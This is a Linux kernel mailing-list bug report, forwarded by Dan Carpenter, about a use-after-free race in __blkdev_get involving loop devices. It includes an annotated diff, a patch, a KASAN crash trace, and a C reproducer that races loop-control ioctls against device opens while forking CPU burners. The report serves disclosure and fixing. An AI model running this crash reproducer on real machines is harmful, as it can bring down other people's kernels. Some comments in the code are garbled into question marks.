Thanks for your report and the patch.  I am sending it to the
linux-block devs since it's already public.

regards,
dan carpenter

On Thu, Jan 11, 2018 at 03:51:06PM +0800, Foy wrote:
> BUG:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..db919a9 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1430,12 +1430,15 @@ static int __blkdev_get(struct block_device *bdev, 
> fmode_t mode, int for_part)
>   restart:
>  
>         ret = -ENXIO;
> +       //2. Process C: loop_control_ioctl ==> LOOP_CTL_REMOVE ==> idr_remove 
> +       //3. Process B: get_gendisk ==> get_gendisk ==> kobj_lookup ==> 
> loop_probe ==> loop_add, get a new disk(2)
>         disk = get_gendisk(bdev->bd_dev, &partno);
>         if (!disk)
>                 goto out;
>         owner = disk->fops->owner;
>  
>         disk_block_events(disk);
> +       //1. Process A get the disk(1),before the mutex_lock_nested.And then 
> be scheduled 
>         mutex_lock_nested(&bdev->bd_mutex, for_part);
>         if (!bdev->bd_openers) {
>                 bdev->bd_disk = disk;
> @@ -1524,14 +1527,17 @@ static int __blkdev_get(struct block_device *bdev, 
> fmode_t mode, int for_part)
>                         if (ret)
>                                 goto out_unlock_bdev;
>                 }
> +               //5. Process A disk(1) will be free,because disk(1)'s refs == 
> 1
>                 /* only one opener holds refs to the module and disk */
>                 put_disk(disk);
>                 module_put(owner);
>         }
> +       //4. Process B: bdev->bd_openers != 0
>         bdev->bd_openers++;
>         if (for_part)
>                 bdev->bd_part_count++;
>         mutex_unlock(&bdev->bd_mutex);
> +       //6. Process A the disk(1) will be use
>         disk_unblock_events(disk);
>         return 0;
> 
> 
> 
> 
> Patch:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..1f5c7bf 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1526,13 +1526,15 @@ static int __blkdev_get(struct block_device *bdev, 
> fmode_t mode, int for_part)
>  }
>  /* only one opener holds refs to the module and disk */
>  put_disk(disk);
> +disk = NULL;
>  module_put(owner);
>  }
>  bdev->bd_openers++;
>  if (for_part)
>  bdev->bd_part_count++;
>  mutex_unlock(&bdev->bd_mutex);
> -disk_unblock_events(disk);
> +if (disk)
> +disk_unblock_events(disk);
>  return 0;
>  
>   out_clear:
> 
> 
> 
> 
> Crash:
> ==================================================================
> BUG: KASAN: use-after-free in disk_unblock_events+0x4b/0x50 block/genhd.c:1657
> Read of size 8 at addr ffff880035c273f8 by task syz-executor6/21165
> 
> 
> CPU: 0 PID: 21165 Comm: syz-executor6 Not tainted 4.15.0-rc6 #18
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
> Ubuntu-1.8.2-1ubuntu1 04/01/2014
> Call Trace:
>  __dump_stack lib/dump_stack.c:17 [inline]
>  dump_stack+0x104/0x1c5 lib/dump_stack.c:53
>  print_address_description+0x6e/0x280 mm/kasan/report.c:252
>  kasan_report_error mm/kasan/report.c:351 [inline]
>  kasan_report+0x254/0x340 mm/kasan/report.c:409
>  disk_unblock_events+0x4b/0x50 block/genhd.c:1657
>  __blkdev_get+0x5f5/0xdb0 fs/block_dev.c:1535
>  blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
>  blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
>  do_dentry_open+0x682/0xd80 fs/open.c:752
>  vfs_open+0x107/0x220 fs/open.c:866
>  do_last fs/namei.c:3379 [inline]
>  path_openat+0x1051/0x3220 fs/namei.c:3519
>  do_filp_open+0x25b/0x3b0 fs/namei.c:3554
>  do_sys_open+0x4ab/0x650 fs/open.c:1059
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> RIP: 0033:0x40cd41
> RSP: 002b:00007ff1c06e5780 EFLAGS: 00000293 ORIG_RAX: 0000000000000002
> RAX: ffffffffffffffda RBX: 000000000071bf58 RCX: 000000000040cd41
> RDX: 0000000000000000 RSI: 0000000000080102 RDI: 00007ff1c06e5830
> RBP: 00000000000001e4 R08: 000000000000ffff R09: 0000000000000000
> R10: 0000000020024400 R11: 0000000000000293 R12: 00000000006efe00
> R13: 00000000ffffffff R14: 00007ff1c06e66d4 R15: 0000000000000002
> 
> 
> Allocated by task 21138:
>  set_track mm/kasan/kasan.c:459 [inline]
>  kasan_kmalloc+0xa9/0xd0 mm/kasan/kasan.c:551
>  kmem_cache_alloc_node_trace+0x153/0x280 mm/slub.c:2780
>  kmalloc_node include/linux/slab.h:537 [inline]
>  kzalloc_node include/linux/slab.h:699 [inline]
>  __alloc_disk_node+0xab/0x490 block/genhd.c:1400
>  loop_add+0x42f/0xa00 drivers/block/loop.c:1808
>  loop_control_ioctl+0x11c/0x450 drivers/block/loop.c:1940
>  vfs_ioctl fs/ioctl.c:46 [inline]
>  do_vfs_ioctl+0x18b/0x13c0 fs/ioctl.c:686
>  SYSC_ioctl fs/ioctl.c:701 [inline]
>  SyS_ioctl+0x7e/0xb0 fs/ioctl.c:692
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> 
> 
> Freed by task 21165:
>  set_track mm/kasan/kasan.c:459 [inline]
>  kasan_slab_free+0x71/0xc0 mm/kasan/kasan.c:524
>  slab_free_hook mm/slub.c:1391 [inline]
>  slab_free_freelist_hook mm/slub.c:1412 [inline]
>  slab_free mm/slub.c:2968 [inline]
>  kfree+0xe2/0x2c0 mm/slub.c:3899
>  disk_release+0x300/0x3c0 block/genhd.c:1249
>  device_release+0x76/0x200 drivers/base/core.c:814
>  kobject_cleanup lib/kobject.c:648 [inline]
>  kobject_release lib/kobject.c:677 [inline]
>  kref_put include/linux/kref.h:70 [inline]
>  kobject_put+0x13d/0x230 lib/kobject.c:694
>  put_disk+0x1f/0x30 block/genhd.c:1465
>  __blkdev_get+0x560/0xdb0 fs/block_dev.c:1528
>  blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
>  blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
>  do_dentry_open+0x682/0xd80 fs/open.c:752
>  vfs_open+0x107/0x220 fs/open.c:866
>  do_last fs/namei.c:3379 [inline]
>  path_openat+0x1051/0x3220 fs/namei.c:3519
>  do_filp_open+0x25b/0x3b0 fs/namei.c:3554
>  do_sys_open+0x4ab/0x650 fs/open.c:1059
>  entry_SYSCALL_64_fastpath+0x1f/0x96
> 
> 
> The buggy address belongs to the object at ffff880035c26e80
>  which belongs to the cache kmalloc-2048 of size 2048
> The buggy address is located 1400 bytes inside of
>  2048-byte region [ffff880035c26e80, ffff880035c27680)
> The buggy address belongs to the page:
> page:0000000003af101f count:1 mapcount:0 mapping:          (null) index:0x0 
> compound_mapcount: 0
> flags: 0x100000000008100(slab|head)
> raw: 0100000000008100 0000000000000000 0000000000000000 00000001000f000f
> raw: ffffea0000946a00 0000000200000002 ffff880035c02d80 0000000000000000
> page dumped because: kasan: bad access detected
> 
> 
> Memory state around the buggy address:
>  ffff880035c27280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>  ffff880035c27300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> >ffff880035c27380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>                                                                 ^
>  ffff880035c27400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>  ffff880035c27480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
> 
> 
> 
> 
> 


> #include <stdio.h>
> #include <string.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <arpa/inet.h>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <sys/syscall.h>
> #include <sys/mman.h>
> #include <sys/time.h>
> #include <sys/resource.h>
> #include <netinet/in.h>
> #include <netinet/udp.h>
> #include <netinet/ip.h>
> #include <linux/xfrm.h>
> #include <linux/netlink.h>
> #include <linux/loop.h>
> #include <stdarg.h>
> #include <stdbool.h>
> #include <stddef.h>
> #include <sys/prctl.h>
> #include <sys/time.h>
> #include <sys/resource.h>
> 
> #define false 0
> #define true 1
> int controlfd;
> int count = 0;
> 
> #define ERR_EXIT1(m) \
>         do \
>         { \
>                 perror(m); \
>                 exit(EXIT_FAILURE); \
>         } while(0)
> 
> #define ERR_EXIT(m) \
>         do \
>         { \
>                 perror(m); \
>         } while(0)
> 
> void send_fd(int sock_fd, int send_fd) {
>       int ret;
>       struct msghdr msg;
>       struct cmsghdr *p_cmsg;
>       struct iovec vec;
>       char cmsgbuf[CMSG_SPACE(sizeof(send_fd) * 253)];
>       printf("cmsgbuf size:%d \n", sizeof(cmsgbuf));
>       int *p_fds;
>       char sendchar = 0;
>       int i;
>       msg.msg_control = cmsgbuf;
>       msg.msg_controllen = sizeof(cmsgbuf);
>       p_cmsg = CMSG_FIRSTHDR(&msg);
>       p_cmsg->cmsg_level = SOL_SOCKET;
>       p_cmsg->cmsg_type = SCM_RIGHTS;
>       p_cmsg->cmsg_len = CMSG_LEN(sizeof(send_fd) * 253);
>       p_fds = (int *) CMSG_DATA(p_cmsg);
>       for (i = 0; i < 253; i++) {
>               p_fds[i] = send_fd; // 
> ??????????????????????????????????????????????????????
>       }
> 
>       msg.msg_name = NULL;
>       msg.msg_namelen = 0;
>       msg.msg_iov = &vec;
>       msg.msg_iovlen = 1; 
> //??????????????????????????????????????????1?????????
>       msg.msg_flags = 0;
> 
>       vec.iov_base = &sendchar;
>       vec.iov_len = sizeof(sendchar);
>       while (1) {
>               ret = sendmsg(sock_fd, &msg, 0);
>               if (ret != 1)
>                       ERR_EXIT("sendmsg");
>       }
> }
> 
> int recv_fd(const int sock_fd) {
>       int ret;
>       struct msghdr msg;
>       char recvchar;
>       struct iovec vec;
>       int recv_fd;
>       char cmsgbuf[CMSG_SPACE(sizeof(recv_fd))];
>       struct cmsghdr *p_cmsg;
>       int *p_fd, i;
>       vec.iov_base = &recvchar;
>       vec.iov_len = sizeof(recvchar);
>       msg.msg_name = NULL;
>       msg.msg_namelen = 0;
>       msg.msg_iov = &vec;
>       msg.msg_iovlen = 1;
>       msg.msg_control = cmsgbuf;
>       msg.msg_controllen = sizeof(cmsgbuf);
>       msg.msg_flags = 0;
> 
>       p_fd = (int *) CMSG_DATA(CMSG_FIRSTHDR(&msg));
>       *p_fd = -1;
>       while (1) {
>               ret = recvmsg(sock_fd, &msg, 0);
>               if (ret < 0) {
>                       char buff[256];
>                       snprintf(buff, "recvmsg11: sock_fd:%d ret:%d", sock_fd, 
> ret);
>                       ERR_EXIT(buff);
>               }
> 
>               p_cmsg = CMSG_FIRSTHDR(&msg);
>               if (p_cmsg == NULL)
>                       ERR_EXIT("no passed fd");
> 
>               p_fd = (int *) CMSG_DATA(p_cmsg);
>               for (i = 0; i < 253; i++) {
>                       close(p_fd[i]);
>               }
>       }
>       recv_fd = *p_fd;
>       if (recv_fd == -1)
>               ERR_EXIT("no passed fd");
> 
>       return recv_fd;
> }
> 
> int test_main(void) {
>       int sockfds[2];
>       /* 
> ??????unix????????????????????????????????????????????????????????????????????????????????????????????????
>        * ?????????????????????socketpair???????????????socket()?????? */
>       if (socketpair(PF_UNIX, SOCK_STREAM, 0, sockfds) < 0)
>               ERR_EXIT("socketpair");
> 
>       pid_t pid;
>       pid = fork();
>       if (pid == -1)
>               ERR_EXIT("fork");
>       /* ??????????????????????????????????????????????????????????????????
>        * 
> ???????????????????????????????????????????????????????????????????????????????????????
>  */
>       if (pid > 0) {
>               close(sockfds[1]);
>               int fd = recv_fd(sockfds[0]);
>               char buf[1024] = { 0 };
>               read(fd, buf, sizeof(buf));
>       } else if (pid == 0) {
>               close(sockfds[0]);
>               int fd;
>               fd = open("test.txt", O_RDONLY);
>               if (fd == -1)
>                       ERR_EXIT("open");
>               send_fd(sockfds[1], fd);
>       }
>       return 0;
> }
> 
> int main(int argc, char *argv[]) {
>       int ret;
>       int child_pid;
>       int fd;
>       int loop_index;
>       if (argc >= 2) {
>               loop_index = atoi(argv[1]);
>       } else {
>               loop_index = 9;
>       }
>       child_pid = fork();
>       if (child_pid) {
>               child_pid = fork();
>               if (child_pid) {
>                       child_pid = fork();
>                       child_pid = fork();
>                       while (1) {
>                               count++;
>                               count = count * 2;
>                       }
>               } else {
>                       test_main();
>               }
>       }
>       child_pid = fork();
> 
>       if (child_pid) {
>               printf("pid:%d nice:%d \n", getpid(), getpriority(PRIO_PROCESS, 
> getpid()));
>               controlfd = open("/dev/loop-control", O_RDWR);
>               while (controlfd >= 0) {
>                       ret = ioctl(controlfd, LOOP_CTL_ADD, loop_index);
>                       ret = ioctl(controlfd, LOOP_CTL_REMOVE, loop_index);
>               }
>               close(controlfd);
>       } else {
>               child_pid = fork();
>               printf("pid:%d  nice:%d \n", getpid(), 
> getpriority(PRIO_PROCESS, getpid()));
>               char name[100];
>               memset(name, 0, 100);
>               snprintf(name, 100, "/dev/loop%d", loop_index);
>               if (child_pid) {
>                       prctl(PR_SET_NAME, "ppp");
>                       setpriority(PRIO_PROCESS, getpid(), 0);
>                       while (1) {
>                               fd = open(name, O_RDONLY);
>                               if (fd <= 0) {
>                                       continue;
>                               }
>                               ret = close(fd);
>                       }
>               } else {
>                       child_pid = fork();
>                       prctl(PR_SET_NAME, "ccc");
>                       setpriority(PRIO_PROCESS, getpid(), -5);
>                       while (1) {
>                               fd = open(name, O_RDONLY);
>                               if (fd <= 0) {
>                                       continue;
>                               }
>                               ret = close(fd);
>                       }
>               }
>       }
> }



Reply via email to